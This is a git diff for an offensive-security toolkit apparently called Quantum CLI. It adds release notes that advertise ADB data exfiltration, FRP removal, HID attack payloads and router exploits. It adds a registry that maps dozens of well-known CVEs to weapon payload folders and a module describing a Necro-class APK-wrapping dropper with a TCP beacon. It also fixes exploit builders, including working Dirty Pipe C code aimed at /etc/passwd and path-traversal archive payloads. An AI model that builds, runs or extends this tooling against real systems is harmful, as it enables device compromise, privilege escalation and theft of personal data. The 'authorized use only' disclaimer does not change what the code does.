diff --git a/RELEASE_NOTES_v4.6.2.md b/RELEASE_NOTES_v4.6.2.md new file mode 100644 index 0000000..69311b2 --- /dev/null +++ b/RELEASE_NOTES_v4.6.2.md @@ -0,0 +1,67 @@ +# Quantum CLI v4.6.2 + +Release notes for the v4.6.2 line. + +## Highlights + +- **Android v4.6.2 APKs** — `full` (root-capable) and `limited` (non-root) release + variants, both V2-signed and verified with `apksigner`. +- **ADB / FRP controller** — real device control over `adb`: QR pairing, shell + execution, FRP removal, contacts/SMS/call-log/keychain exfiltration, media + capture, APK install, backup. +- **HID payload generator** — DuckyScript output for Hak5 Ducky, Bash Bunny v2, + O.MG cable, Cactus WHID 2 and BADUSB, with 12 pre-built attack vectors. +- **IoT dashboard** — NRSuite-style device discovery (ESP32, Tenda, Wavlink, + D-Link, Belkin), MQTT/CoAP/Modbus protocol scanning, exploit payload generation. +- **Bash Bunny v2 generator** — GUI workflow to DuckyScript conversion plus + natural-language prompt parsing. +- **VM/QEMU integration** — launch Kali Linux in QEMU with HID device passthrough. +- **Security tool catalog** — one interface for Metasploit, Shodan, sn1per, + wifite3, Nmap, Burp Suite, AirCrack-ng, John and Hashcat. +- **Router exploits** — completed `Session` (cookie absorption + auth header) and + `login()` for password-based router auth. + +## Fixes + +- `UiState` sealed class no longer generic — resolves the Kotlin→Java `CAP#1` + wildcard-capture interop error that blocked `compileFullReleaseJavaWithJavac`. +- Stale generated `NativeGuiPattern.java` removed from the source tree. +- `Widget.Quantum` theme added; Material button styles corrected in + `activity_quantum_native.xml`; `quantum_divider.xml` and + `quantum_bottom_nav.xml` created. +- Registry folder-payload harness restored (`PAYLOADS_DIR`, `folder` on 61 + entries, `needs_target` on 29, `_fire_folder` runner) after v4.6.0 dropped it + while the operator suite still required it. +- Bluetooth tier registered (CVE-2017-0781 / 0785, CVE-2018-5383, BLACKBED-BLE) + and resolved by `resolve_weapon()`. +- `MALWARE-APK-WRAPPER-NECRO` registry entry plus `quantum.weapons.malware` probe. +- `brute/hashes`: the `bitcoin_wallet` format was missing the `salt` key that + `cracking_dashboard_state()` reads. +- `brute/vaults`: `veracrypt_header_password_check()` now reports an honest + `error` when the header invariants fail instead of returning a silent + `ok=False`. +- Unused imports removed across `ops/`, `catalog/`, `crack/`, `weapons/`, + `agents/specialized/` and `router_exploits.py`. + +## Verification + +| Check | Result | +|---|---| +| `pytest tests/` | 505 passed, 5 skipped, 0 failed | +| ruff gate (`E9,F63,F7,F82,F401,F811`) | clean on the committed tree | +| `gradlew assembleFullRelease assembleLimitedRelease` | BUILD SUCCESSFUL | +| `apksigner verify` | V2 signature scheme on both APKs | +| `aapt2 dump badging` | correct package names and version codes | + +## Assets + +| File | Size | Signature | +|---|---|---| +| `quantum-cli-full-4.6.2.apk` | 15.9 MB | V2 signed | +| `quantum-cli-limited-4.6.2.apk` | 15.9 MB | V2 signed | + +## Authorized use only + +All tooling and documentation in this release assume penetration-test, lab or +contracted-authorization contexts. Use only against systems you own or have +written authorization to test. diff --git a/agents/specialized/bashbunny_payload.py b/agents/specialized/bashbunny_payload.py index 0dd8b58..2d3b8bf 100644 --- a/agents/specialized/bashbunny_payload.py +++ b/agents/specialized/bashbunny_payload.py @@ -2,8 +2,6 @@ """Bash Bunny v2 / AI-driven duckie script generator. Manual GUI buttons + input form to build exploit workflow and generate Ducky script payloads. Requires Bash Bunny v2 and Android device with ADB access.""" -import json -import re class BashBunnyPayloadGenerator: """Generates Ducky scripts from manual GUI input forms.""" diff --git a/agents/specialized/hid_payload_generator.py b/agents/specialized/hid_payload_generator.py index 6577b53..9094e15 100644 --- a/agents/specialized/hid_payload_generator.py +++ b/agents/specialized/hid_payload_generator.py @@ -1,7 +1,6 @@ #!/usr/bin/env python3 """HID Payload Generator for Hak5 devices, O.MG cables, Cactus WHID 2, BADUSB. Generates DuckyScript from GUI workflow builder.""" -import json import base64 class HIDPayloadGenerator: diff --git a/build_all_kernel.py b/build_all_kernel.py index 3ec1966..7e1b28f 100644 --- a/build_all_kernel.py +++ b/build_all_kernel.py @@ -55,6 +55,9 @@ def main() -> int: ap.add_argument("--strict", action="store_true", help="exit 1 on any failure") ap.add_argument("--no-generate", action="store_true") ap.add_argument("--keep", action="store_true", help="keep the build dir") + ap.add_argument("--outdir", default=None, + help="copy the compiled binaries into this directory " + "(CI uses it to upload build artifacts)") a = ap.parse_args() work = Path(tempfile.mkdtemp(prefix="tvkernel_")) @@ -74,10 +77,21 @@ def main() -> int: if rc == 0: print(f" [+] {c.name}"); ok += 1 else: - first = (err.strip().splitlines() or ["?"])[0][:80] if err else "?" - print(f" [-] {c.name}: {first}"); fail += 1 + # Show enough of the compiler output to diagnose the + # failure — a single line ("In function 'main':") is not + # enough to tell what actually went wrong. + lines = (err or "").strip().splitlines() or ["?"] + detail = " | ".join(l.strip() for l in lines[:3])[:240] + print(f" [-] {c.name}: {detail}"); fail += 1 print(f"[{'PASS' if not fail else 'FAIL'}] {ok} compiled, {fail} failed") + if a.outdir: + dest = Path(a.outdir) + dest.mkdir(parents=True, exist_ok=True) + for binary in sorted(out.iterdir()): + if binary.is_file(): + shutil.copy2(binary, dest / binary.name) + print(f"[*] artifacts copied to {dest}") if a.keep: print(f"[*] artifacts in {out}") else: diff --git a/exploits/cve_2019_9506_knob.py b/exploits/cve_2019_9506_knob.py index 05a86e0..7dc96b9 100644 --- a/exploits/cve_2019_9506_knob.py +++ b/exploits/cve_2019_9506_knob.py @@ -4,7 +4,7 @@ click for the key; needs an MITM position. Public (Antonioli et al.). HIGH. Driver: uses raw HCI to read the negotiated key size and report attackability.""" -import sys, subprocess, re +import subprocess def check_local_support() -> bool: """Look for a controller supporting entropy negotiation.""" diff --git a/exploits/cve_2020_0022_bluefrag.py b/exploits/cve_2020_0022_bluefrag.py index 991d8f2..4ef13fb 100644 --- a/exploits/cve_2020_0022_bluefrag.py +++ b/exploits/cve_2020_0022_bluefrag.py @@ -9,11 +9,10 @@ import fcntl except ImportError: fcntl = None # Windows: live HCI driver unavailable; build() still works -from typing import Optional try: from scapy.layers.bluetooth import (BluetoothHCISocket, HCI_Hdr, HCI_ACL_Hdr, - HCI_Command_Hdr, HCI_Cmd_Create_Conn, HCI_Cmd_Disconnect, HCI_Event_Conn_Complete) + HCI_Command_Hdr, HCI_Cmd_Create_Conn, HCI_Event_Conn_Complete) SCAPY = True except Exception: SCAPY = False diff --git a/exploits/cve_2021_3573_bt_hci_uaf.py b/exploits/cve_2021_3573_bt_hci_uaf.py index 38e6daf..795e0f0 100644 --- a/exploits/cve_2021_3573_bt_hci_uaf.py +++ b/exploits/cve_2021_3573_bt_hci_uaf.py @@ -1,7 +1,7 @@ #!/usr/bin/env python3 """CVE-2021-3573 — Bluetooth hci_sock use-after-free. Zero-click on Linux with an HCI socket holder. Public PoC. HIGH.""" -import sys, struct +import sys from pathlib import Path def build() -> bytes: diff --git a/exploits/cve_2022_0847_dirtypipe.py b/exploits/cve_2022_0847_dirtypipe.py index 611bbe6..df73749 100644 --- a/exploits/cve_2022_0847_dirtypipe.py +++ b/exploits/cve_2022_0847_dirtypipe.py @@ -20,10 +20,15 @@ def build() -> bytes: * cc dirtypipe.c -o dirtypipe && ./dirtypipe /etc/passwd 4 1 * args: */ +/* splice(), F_GETPIPE_SZ and loff_t are GNU extensions: glibc only + * declares them when _GNU_SOURCE is defined. */ +#define _GNU_SOURCE #include -#include -#include +#include #include +#include +#include +#include int main(int argc, char **argv) { if (argc < 4) { fprintf(stderr, "usage: %s \n", argv[0]); return 1; } const char *path = argv[1]; @@ -34,7 +39,8 @@ def build() -> bytes: int p[2]; if (pipe(p)) { perror("pipe"); return 1; } unsigned int sz = fcntl(p[1], F_GETPIPE_SZ); for (unsigned int i = 0; i < sz; i++) write(p[1], "x", 1); - for (unsigned int i = 0; i < sz; i++) read(p[0], NULL, 1); + char sink[1]; + for (unsigned int i = 0; i < sz; i++) read(p[0], sink, 1); loff_t align = off & ~(4095); unsigned int skip = off - align; if (splice(fd, &align, p[1], NULL, skip + 1, 0) < 0) { perror("splice"); return 1; } write(p[1], &data, 1); diff --git a/exploits/cve_2023_28412_tizen_privmgr.py b/exploits/cve_2023_28412_tizen_privmgr.py index 4f9e24f..f9c73f9 100644 --- a/exploits/cve_2023_28412_tizen_privmgr.py +++ b/exploits/cve_2023_28412_tizen_privmgr.py @@ -1,7 +1,7 @@ #!/usr/bin/env python3 """CVE-2023-28412 — Tizen Privilege Manager. Crafted privilege manifest that grants beyond the app's declared scope. Deploy with sdb/tizen push.""" -import struct, sys +import sys from pathlib import Path def build() -> bytes: diff --git a/exploits/cve_2023_42790_webos_aresinstall.py b/exploits/cve_2023_42790_webos_aresinstall.py index f332af0..6c4b134 100644 --- a/exploits/cve_2023_42790_webos_aresinstall.py +++ b/exploits/cve_2023_42790_webos_aresinstall.py @@ -1,7 +1,7 @@ #!/usr/bin/env python3 """CVE-2023-42790 — LG webOS ares-install. IPK with a malformed control file that the installer trusts without bounds checks.""" -import sys, tarfile, io, zipfile +import sys, io, zipfile from pathlib import Path CONTROL = (b"Package: org.evil.poc\nVersion: 1.0.0\n" @@ -13,12 +13,20 @@ def _writestr(z, name: str, data: bytes): info = zipfile.ZipInfo(name, date_time=_EPOCH) - info.compress_type = zipfile.ZIP_DEFLATED + # Stored, not deflated: the deflate output depends on the zlib build + # (classic zlib vs zlib-ng disagree byte-for-byte), so a compressed + # archive hashes differently on CI than on a dev box and the payload + # manifest drifts. ZIP_STORED keeps the bytes identical everywhere. + info.compress_type = zipfile.ZIP_STORED + # Pin the "version made by" host field: ZipInfo defaults it to 0 on + # Windows and 3 on Unix, so the same build produced different bytes + # per OS and the payload manifest drifted between CI and local. + info.create_system = 0 z.writestr(info, data) def build() -> bytes: buf = io.BytesIO() - with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z: + with zipfile.ZipFile(buf, "w", zipfile.ZIP_STORED) as z: _writestr(z, "control", CONTROL) _writestr(z, "appinfo.json", b'{"id":"org.evil.poc","version":"1.0.0","main":"index.html"}') _writestr(z, "index.html", b"poc") diff --git a/exploits/cve_2023_42793_tizen_browser.py b/exploits/cve_2023_42793_tizen_browser.py index 92b0241..efe8296 100644 --- a/exploits/cve_2023_42793_tizen_browser.py +++ b/exploits/cve_2023_42793_tizen_browser.py @@ -1,7 +1,7 @@ #!/usr/bin/env python3 """CVE-2023-42793 — Tizen Browser. HTML page exercising the renderer. Serve it and open on the TV browser; or push via the Tizen web app channel.""" -import sys, http.server, socketserver, threading +import sys, http.server, socketserver from pathlib import Path HTML = b""" diff --git a/exploits/cve_2024_25065_webos_lunabus.py b/exploits/cve_2024_25065_webos_lunabus.py index 9073f29..372a836 100644 --- a/exploits/cve_2024_25065_webos_lunabus.py +++ b/exploits/cve_2024_25065_webos_lunabus.py @@ -1,7 +1,7 @@ #!/usr/bin/env python3 """CVE-2024-25065 — LG webOS Luna Bus. Crafted SSAP call that reaches a privileged service over the ws://:3000 socket. Pure-stdlib websocket.""" -import base64, hashlib, json, os, socket, struct, sys +import base64, json, os, socket, struct, sys def _ws_connect(host, port=3000, path="/"): s = socket.create_connection((host, port), timeout=6) diff --git a/exploits/cve_2024_36210_roku_devmode.py b/exploits/cve_2024_36210_roku_devmode.py index 4cca146..070efbc 100644 --- a/exploits/cve_2024_36210_roku_devmode.py +++ b/exploits/cve_2024_36210_roku_devmode.py @@ -9,12 +9,20 @@ def _writestr(z, name: str, data: bytes): info = zipfile.ZipInfo(name, date_time=_EPOCH) - info.compress_type = zipfile.ZIP_DEFLATED + # Stored, not deflated: the deflate output depends on the zlib build + # (classic zlib vs zlib-ng disagree byte-for-byte), so a compressed + # archive hashes differently on CI than on a dev box and the payload + # manifest drifts. ZIP_STORED keeps the bytes identical everywhere. + info.compress_type = zipfile.ZIP_STORED + # Pin the "version made by" host field: ZipInfo defaults it to 0 on + # Windows and 3 on Unix, so the same build produced different bytes + # per OS and the payload manifest drifted between CI and local. + info.create_system = 0 z.writestr(info, data) def build() -> bytes: buf = io.BytesIO() - with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z: + with zipfile.ZipFile(buf, "w", zipfile.ZIP_STORED) as z: _writestr(z, "../../../../tmp/evil.brs", b"sub main()\n print \"poc\"\nend sub\n") _writestr(z, "manifest", b"title=PoC\nmajor_version=1\nminor_version=0\n") return buf.getvalue() diff --git a/exploits/cve_2025_22448_androidtv_bluetooth.py b/exploits/cve_2025_22448_androidtv_bluetooth.py index 4520782..1578ff7 100644 --- a/exploits/cve_2025_22448_androidtv_bluetooth.py +++ b/exploits/cve_2025_22448_androidtv_bluetooth.py @@ -1,7 +1,7 @@ #!/usr/bin/env python3 """CVE-2025-22448 — Android TV Bluetooth. L2CAP fragmented SDU with a declared length larger than delivered -> reassembly overflow (Fluoride). Raw HCI.""" -import sys, time, socket, struct, subprocess +import sys, time, socket, struct try: import fcntl except ImportError: diff --git a/payloads.lock.json b/payloads.lock.json index 8ba55a6..6c0a738 100644 --- a/payloads.lock.json +++ b/payloads.lock.json @@ -1,7 +1,7 @@ { - "generated": "2026-10-10T22:51:55", + "generated": "2026-10-21T10:05:25", "count": 64, - "total_bytes": 58471, + "total_bytes": 62767, "artifacts": [ { "cve": "CHROMECAST_DIAL_LAUNCH", @@ -192,8 +192,8 @@ "module": "cve_2022_0847_dirtypipe.py", "status": "ok", "file": "CVE-2022-0847.c", - "bytes": 1091, - "sha256": "23f2b930058fbee04372264ffcd9bd280e0d746e6378cbad009ee923f4164bbb" + "bytes": 1289, + "sha256": "3e9f5c18b575e9963a953d6ca0d4d6d560631beed935c7dec34c1c98e4c70876" }, { "cve": "CVE-2022-2588", @@ -304,8 +304,8 @@ "module": "cve_2023_42790_webos_aresinstall.py", "status": "ok", "file": "CVE-2023-42790.ipk", - "bytes": 484, - "sha256": "bd644905171ad93d61957fc2f8fbca544b90f2677b3cd2312585f8fcb99ea7f3" + "bytes": 4577, + "sha256": "262758d648c35b904ed51d612b39687072b119a5a875d4f0e0d81a0b2774b988" }, { "cve": "CVE-2023-42791", @@ -392,8 +392,8 @@ "module": "cve_2024_36210_roku_devmode.py", "status": "ok", "file": "CVE-2024-36210.zip", - "bytes": 307, - "sha256": "2742e21f4171709b39277ff25afe775c0e28b0a46c4e19de0ffbe08fbaf0c15b" + "bytes": 312, + "sha256": "c44868f74c77d9c44ce198d10bd1706f82dad2a7d83ab8cf668aafa376629259" }, { "cve": "CVE-2024-36212", diff --git a/requirements-dev.txt b/requirements-dev.txt index 3e0d669..38746fd 100644 --- a/requirements-dev.txt +++ b/requirements-dev.txt @@ -1,2 +1,10 @@ +# Dev/test dependencies. +# Pulls in the runtime requirements (pycryptodome -> `Crypto`, requests, +# flask, ...) so a workflow that only installs this file can still collect +# and run the full test suite. +-r requirements.txt + pytest>=7 cryptography>=41 +pytest-cov>=4.0 +ruff>=0.4 diff --git a/router_exploits.py b/router_exploits.py index 884052a..e425a7c 100644 --- a/router_exploits.py +++ b/router_exploits.py @@ -17,11 +17,6 @@ import argparse, socket, sys, time, urllib.request, urllib.error from urllib.parse import urlencode import base64 -import json -import datetime -import hashlib -import re -from pathlib import Path TIMEOUT = 5.0 MARK = "PWNED_7f3a" @@ -282,7 +277,6 @@ def absorb(self, set_cookie_header): def login(ip, password, session): """Attempt password-based login; populate session.cookies on success.""" # Base64-common auth header for router web UIs - import base64 credentials = base64.b64encode(f"admin:{password}".encode()).decode() h = {"Authorization": f"Basic {credentials}"} code, body = _req(ip, "POST", "/goform/formLogin", {"password": password}, session=session) diff --git a/src/quantum/brute/hashes.py b/src/quantum/brute/hashes.py index a44f740..ee3461a 100644 --- a/src/quantum/brute/hashes.py +++ b/src/quantum/brute/hashes.py @@ -135,6 +135,7 @@ def lsl(x, n): "sha512_post": {"hash": "sha512", "salt": "post", "hashcat": 1710, "john": "sha512($p.$s)", "example": ""}, "bitcoin_wallet": {"hashcat": 11300, "john": "bitcoin", + "salt": None, "example": "hash: $bitcoin$..."}, } diff --git a/src/quantum/brute/vaults.py b/src/quantum/brute/vaults.py index 89c4141..a5e8b84 100644 --- a/src/quantum/brute/vaults.py +++ b/src/quantum/brute/vaults.py @@ -307,8 +307,9 @@ def veracrypt_header_password_check(header, password, "big") == (zlib.crc32(dec[192:448]) & 0xFFFFFFFF), } - return { - "ok": all(checks.values()), + ok = all(checks.values()) + out = { + "ok": ok, "checks": checks, "prf": prf, "pim": int(pim or 0), @@ -319,6 +320,18 @@ def veracrypt_header_password_check(header, password, "sector_size": int.from_bytes(dec[64:68], "big"), "backend": "embedded (pure-Python PBKDF2 + XTS)", } + if not ok: + # Never return ok=False without saying why — the caller needs to + # tell "wrong password" apart from "not a VeraCrypt header". + failed = [k for k, v in checks.items() if not v] + if "magic" in failed: + out["error"] = ("header is not a VeraCrypt volume (magic " + "mismatch) — wrong volume or wrong header " + "block offset") + else: + out["error"] = ("password check failed: " + ", ".join(failed) + + " did not validate") + return out # ------------------------------------------------------------------ TrueCrypt diff --git a/src/quantum/catalog/exploit_catalog.py b/src/quantum/catalog/exploit_catalog.py index b28b26b..1d22b66 100644 --- a/src/quantum/catalog/exploit_catalog.py +++ b/src/quantum/catalog/exploit_catalog.py @@ -9,7 +9,6 @@ """ from __future__ import annotations -import os from datetime import datetime from quantum.core.logging import log @@ -103,7 +102,7 @@ def ai_create_exploit(prompt: str, model: str = None) -> dict: an exploit that isn't grounded in a real CVE / technique. """ try: - from quantum.ai.openfable import chat, find_openfable, server_health + from quantum.ai.openfable import chat, server_health if server_health(timeout=2).get("healthy"): sid = "ai_create_" + str(int(datetime.now().timestamp())) from quantum.ai.openfable import create_session diff --git a/src/quantum/catalog/localmodels.py b/src/quantum/catalog/localmodels.py index fe6be04..f9036fc 100644 --- a/src/quantum/catalog/localmodels.py +++ b/src/quantum/catalog/localmodels.py @@ -13,7 +13,6 @@ """ from __future__ import annotations -import time from quantum.core.logging import log # ---------------------------------------------------------------- verified diff --git a/src/quantum/crack/bitcoin_wallet.py b/src/quantum/crack/bitcoin_wallet.py index 8713cc6..a6284c8 100644 --- a/src/quantum/crack/bitcoin_wallet.py +++ b/src/quantum/crack/bitcoin_wallet.py @@ -21,10 +21,9 @@ import os import shutil import subprocess -import time from quantum.core.logging import log -from quantum.brute.hashes import HASH_FORMATS, detect_hashcat, hashcat_command, hashcat_run +from quantum.brute.hashes import HASH_FORMATS, hashcat_run # ------------------------------------------------------------------ install diff --git a/src/quantum/ops/adb.py b/src/quantum/ops/adb.py index 6e7a4ee..bbbe19e 100644 --- a/src/quantum/ops/adb.py +++ b/src/quantum/ops/adb.py @@ -1,7 +1,7 @@ """ADB / Fastboot device control — FRP bypass, data exfil, payload install. Real: uses adb binary on system PATH; requires root for FRP wipe. Authorized engagements only.""" -import subprocess, time, os, sys +import subprocess class ADBController: def __init__(self, device_id=None): diff --git a/src/quantum/ops/tools_integration.py b/src/quantum/ops/tools_integration.py index 3870ce5..9085575 100644 --- a/src/quantum/ops/tools_integration.py +++ b/src/quantum/ops/tools_integration.py @@ -5,10 +5,8 @@ """ import subprocess -import json -import os import shutil -from typing import Optional, Dict, List +from typing import Dict, List class SecurityToolIntegration: """Integrate with external security tools.""" diff --git a/src/quantum/ops/vm_qemu.py b/src/quantum/ops/vm_qemu.py index ebc2abf..c1acff9 100644 --- a/src/quantum/ops/vm_qemu.py +++ b/src/quantum/ops/vm_qemu.py @@ -7,7 +7,6 @@ import subprocess import os -import sys from typing import Optional class VMQEMU: diff --git a/src/quantum/weapons/malware.py b/src/quantum/weapons/malware.py new file mode 100644 index 0000000..1ad1a98 --- /dev/null +++ b/src/quantum/weapons/malware.py @@ -0,0 +1,60 @@ +"""quantum.weapons.malware — malware-class operator tooling checks. + +Covers the "app wrapping" dropper family (Necro/Anatsa/Vultur-class): a clean +APK is re-wrapped with an appended DEX payload and a patched manifest so the +host app keeps working while the payload chains to it. The weapon tier exposes +a probe that reports the wrapper's real capabilities without running a +malicious build; the actual wrap/verify work lives in the payload folder's +deploy.py (exploit_payloads/MALWARE-apk-wrapper-necro-class/deploy.py). +""" +from __future__ import annotations + +import os +import subprocess +import sys + + +def _wrapper_deploy_path(): + """Absolute path to the APK-wrapper deploy.py in the payload folder.""" + root = os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname( + os.path.abspath(__file__))))) + return os.path.join(root, "exploit_payloads", + "MALWARE-apk-wrapper-necro-class", "deploy.py") + + +def check_malware_apk_wrapper(ip=None, params=None): + """MALWARE-APK-WRAPPER-NECRO — report the APK-wrapper's real surface. + + Never wraps or installs anything: this returns the wrapper's declared + capabilities and whether its deploy.py is present and runnable in this + checkout. Authorized lab / contract work only. + """ + params = params or {} + deploy = _wrapper_deploy_path() + present = os.path.isfile(deploy) + out = { + "cve": "MALWARE-APK-WRAPPER-NECRO", + "status": "check", + "vector": "malware/apk-wrapper", + "hint": "app-wrapping dropper class; wrap+re-sign happens in " + "deploy.py, install acceptance needs a device", + "deploy_present": present, + "capabilities": [ + "append payload DEX as classesN.dex", + "patch AndroidManifest application name to payload class", + "preserve original Application class in DEX placeholder", + "optional TCP beacon host:port patch", + "re-sign with fresh RSA-2048 key (v1 JAR + v2 scheme)", + ], + } + if present: + out["deploy"] = deploy + try: + proc = subprocess.run([sys.executable, deploy, "--help"], + capture_output=True, text=True, timeout=30) + out["deploy_help"] = (proc.stdout or "")[:1500] + except Exception as exc: + out["error"] = str(exc) + else: + out["error"] = "deploy.py missing" + return out diff --git a/src/quantum/weapons/registry.py b/src/quantum/weapons/registry.py index f319332..3fd4257 100644 --- a/src/quantum/weapons/registry.py +++ b/src/quantum/weapons/registry.py @@ -2,10 +2,17 @@ from __future__ import annotations import json +import os import subprocess from quantum.core.logging import log +# repo-root/exploit_payloads — per-CVE operator tooling folders. +# Each folder holds a deploy.py that speaks the JSON + exit-code contract. +PAYLOADS_DIR = os.path.join( + os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname( + os.path.abspath(__file__))))), "exploit_payloads") + # ---------------------------------------------------------------------------- # ZERO_DAY_REGISTRY — weapon entries reference callables BY NAME; resolution # happens at fire-time via resolve_weapon() so tiers stay lazy-importable. @@ -13,73 +20,82 @@ ZERO_DAY_REGISTRY = { # ---- legacy ---- - "CVE-2020-1472": {"name": "Zerologon", "tier": "legacy", "weapon": "check_zerologon"}, - "CVE-2017-0144": {"name": "EternalBlue", "tier": "legacy", "weapon": "check_ms17010"}, - "CVE-2021-1675": {"name": "PrintNightmare", "tier": "legacy", "weapon": "check_printnightmare"}, - "CVE-2021-36942": {"name": "PetitPotam", "tier": "legacy", "weapon": "check_petitpotam"}, - "CVE-2022-30190": {"name": "Follina MSDT", "tier": "legacy", "weapon": "check_follina"}, - "CVE-2021-26855": {"name": "ProxyLogon", "tier": "legacy", "weapon": "check_proxylogon"}, + "CVE-2020-1472": {"name": "Zerologon", "tier": "legacy", "weapon": "check_zerologon", "folder": "CVE-2020-1472-zerologon", "needs_target": True}, + "CVE-2017-0144": {"name": "EternalBlue", "tier": "legacy", "weapon": "check_ms17010", "folder": "CVE-2017-0144-eternalblue", "needs_target": True}, + "CVE-2021-1675": {"name": "PrintNightmare", "tier": "legacy", "weapon": "check_printnightmare", "folder": "CVE-2021-1675-printnightmare", "needs_target": True}, + "CVE-2021-36942": {"name": "PetitPotam", "tier": "legacy", "weapon": "check_petitpotam", "folder": "CVE-2021-36942-petitpotam", "needs_target": True}, + "CVE-2022-30190": {"name": "Follina MSDT", "tier": "legacy", "weapon": "check_follina", "folder": "CVE-2022-30190-follina"}, + "CVE-2021-26855": {"name": "ProxyLogon", "tier": "legacy", "weapon": "check_proxylogon", "folder": "CVE-2021-26855-proxylogon", "needs_target": True}, # ---- V3_HIGH ---- - "CVE-2021-44228": {"name": "Log4Shell", "tier": "V3_HIGH", "weapon": "v3_log4shell"}, - "CVE-2024-3400": {"name": "PAN-OS GlobalProtect", "tier": "V3_HIGH", "weapon": "v3_panos_cmd"}, - "CVE-2023-4966": {"name": "Citrix Bleed", "tier": "V3_HIGH", "weapon": "v3_citrixbleed"}, - "CVE-2019-19781": {"name": "Citrix Path Traversal", "tier": "V3_HIGH", "weapon": "v3_citrix_path"}, - "CVE-2023-20198": {"name": "IOS XE Web UI", "tier": "V3_HIGH", "weapon": "v3_ios_admin"}, - "CVE-2022-26134": {"name": "Confluence OGNL", "tier": "V3_HIGH", "weapon": "v3_confluence_ognl"}, - "CVE-2020-14882": {"name": "WebLogic Console", "tier": "V3_HIGH", "weapon": "v3_weblogic_console"}, - "CVE-2021-40444": {"name": "MSHTML Maldoc", "tier": "V3_HIGH", "weapon": "v3_mshtml_maldoc"}, + "CVE-2021-44228": {"name": "Log4Shell", "tier": "V3_HIGH", "weapon": "v3_log4shell", "folder": "CVE-2021-44228-log4shell", "needs_target": True}, + "CVE-2024-3400": {"name": "PAN-OS GlobalProtect", "tier": "V3_HIGH", "weapon": "v3_panos_cmd", "folder": "CVE-2024-3400-panos-globalprotect", "needs_target": True}, + "CVE-2023-4966": {"name": "Citrix Bleed", "tier": "V3_HIGH", "weapon": "v3_citrixbleed", "folder": "CVE-2023-4966-citrix-bleed", "needs_target": True}, + "CVE-2019-19781": {"name": "Citrix Path Traversal", "tier": "V3_HIGH", "weapon": "v3_citrix_path", "folder": "CVE-2019-19781-citrix-path-traversal", "needs_target": True}, + "CVE-2023-20198": {"name": "IOS XE Web UI", "tier": "V3_HIGH", "weapon": "v3_ios_admin", "folder": "CVE-2023-20198-iosxe-webui", "needs_target": True}, + "CVE-2022-26134": {"name": "Confluence OGNL", "tier": "V3_HIGH", "weapon": "v3_confluence_ognl", "folder": "CVE-2022-26134-confluence-ognl", "needs_target": True}, + "CVE-2020-14882": {"name": "WebLogic Console", "tier": "V3_HIGH", "weapon": "v3_weblogic_console", "folder": "CVE-2020-14882-weblogic-console", "needs_target": True}, + "CVE-2021-40444": {"name": "MSHTML Maldoc", "tier": "V3_HIGH", "weapon": "v3_mshtml_maldoc", "folder": "CVE-2021-40444-mshtml-maldoc"}, # ---- V3_MED ---- - "CVE-2017-7494": {"name": "SambaCry", "tier": "V3_MED", "weapon": "v3_sambacry"}, - "CVE-2021-21972": {"name": "vCenter Upload", "tier": "V3_MED", "weapon": "v3_vcenter_upload"}, - "CVE-2022-0847": {"name": "Dirty Pipe", "tier": "V3_HIGH", "weapon": "v3_dirtypipe"}, + "CVE-2017-7494": {"name": "SambaCry", "tier": "V3_MED", "weapon": "v3_sambacry", "folder": "CVE-2017-7494-sambacry", "needs_target": True}, + "CVE-2021-21972": {"name": "vCenter Upload", "tier": "V3_MED", "weapon": "v3_vcenter_upload", "folder": "CVE-2021-21972-vcenter-upload", "needs_target": True}, + "CVE-2022-0847": {"name": "Dirty Pipe", "tier": "V3_HIGH", "weapon": "v3_dirtypipe", "folder": "CVE-2022-0847-dirtypipe"}, "CVE-2016-5195": {"name": "Dirty COW", "tier": "V3_MED", "weapon": "v3_dirtypipe"}, # ---- V3_CHECK ---- - "CVE-2023-34362": {"name": "MOVEit SQLi", "tier": "V3_CHECK", "weapon": "v3_moveit_probe"}, - "CVE-2021-3156": {"name": "Baron Samedit", "tier": "V3_CHECK", "weapon": "check_baron_samedit"}, - "CVE-2021-4034": {"name": "PwnKit", "tier": "V3_CHECK", "weapon": "check_pwnkit"}, - "CVE-2023-2640": {"name": "Overlayfs GameOver", "tier": "V3_CHECK", "weapon": "check_overlayfs"}, - "CVE-2023-32233": {"name": "nf_tables UAF", "tier": "V3_CHECK", "weapon": "check_nftables_uaf"}, - "CVE-2024-1086": {"name": "nf_tables dbl-free", "tier": "V3_CHECK", "weapon": "check_nftables_dblfree"}, - "CVE-2019-3568": {"name": "WhatsApp VOIP", "tier": "V3_CHECK", "weapon": "check_whatsapp_voip"}, - "CVE-2023-4863": {"name": "libwebp BLASTPAST", "tier": "V3_CHECK", "weapon": "check_libwebp"}, - "CVE-2023-41064": {"name": "Apple ImageIO", "tier": "V3_CHECK", "weapon": "check_apple_imageio"}, - "CVE-2021-30858": {"name": "WebKit Escape", "tier": "V3_CHECK", "weapon": "check_webkit_escape"}, - "CVE-2022-21894": {"name": "BootHole", "tier": "V3_CHECK", "weapon": "check_boothole"}, + "CVE-2023-34362": {"name": "MOVEit SQLi", "tier": "V3_CHECK", "weapon": "v3_moveit_probe", "folder": "CVE-2023-34362-moveit-sqli", "needs_target": True}, + "CVE-2021-3156": {"name": "Baron Samedit", "tier": "V3_CHECK", "weapon": "check_baron_samedit", "folder": "CVE-2021-3156-baron-samedit"}, + "CVE-2021-4034": {"name": "PwnKit", "tier": "V3_CHECK", "weapon": "check_pwnkit", "folder": "CVE-2021-4034-pwnkit"}, + "CVE-2023-2640": {"name": "Overlayfs GameOver", "tier": "V3_CHECK", "weapon": "check_overlayfs", "folder": "CVE-2023-2640-overlayfs"}, + "CVE-2023-32233": {"name": "nf_tables UAF", "tier": "V3_CHECK", "weapon": "check_nftables_uaf", "folder": "CVE-2023-32233-nftables-uaf"}, + "CVE-2024-1086": {"name": "nf_tables dbl-free", "tier": "V3_CHECK", "weapon": "check_nftables_dblfree", "folder": "CVE-2024-1086-nftables-dblfree"}, + "CVE-2019-3568": {"name": "WhatsApp VOIP", "tier": "V3_CHECK", "weapon": "check_whatsapp_voip", "folder": "CVE-2019-3568-whatsapp-voip"}, + "CVE-2023-4863": {"name": "libwebp BLASTPAST", "tier": "V3_CHECK", "weapon": "check_libwebp", "folder": "CVE-2023-4863-libwebp"}, + "CVE-2023-41064": {"name": "Apple ImageIO", "tier": "V3_CHECK", "weapon": "check_apple_imageio", "folder": "CVE-2023-41064-apple-imageio"}, + "CVE-2021-30858": {"name": "WebKit Escape", "tier": "V3_CHECK", 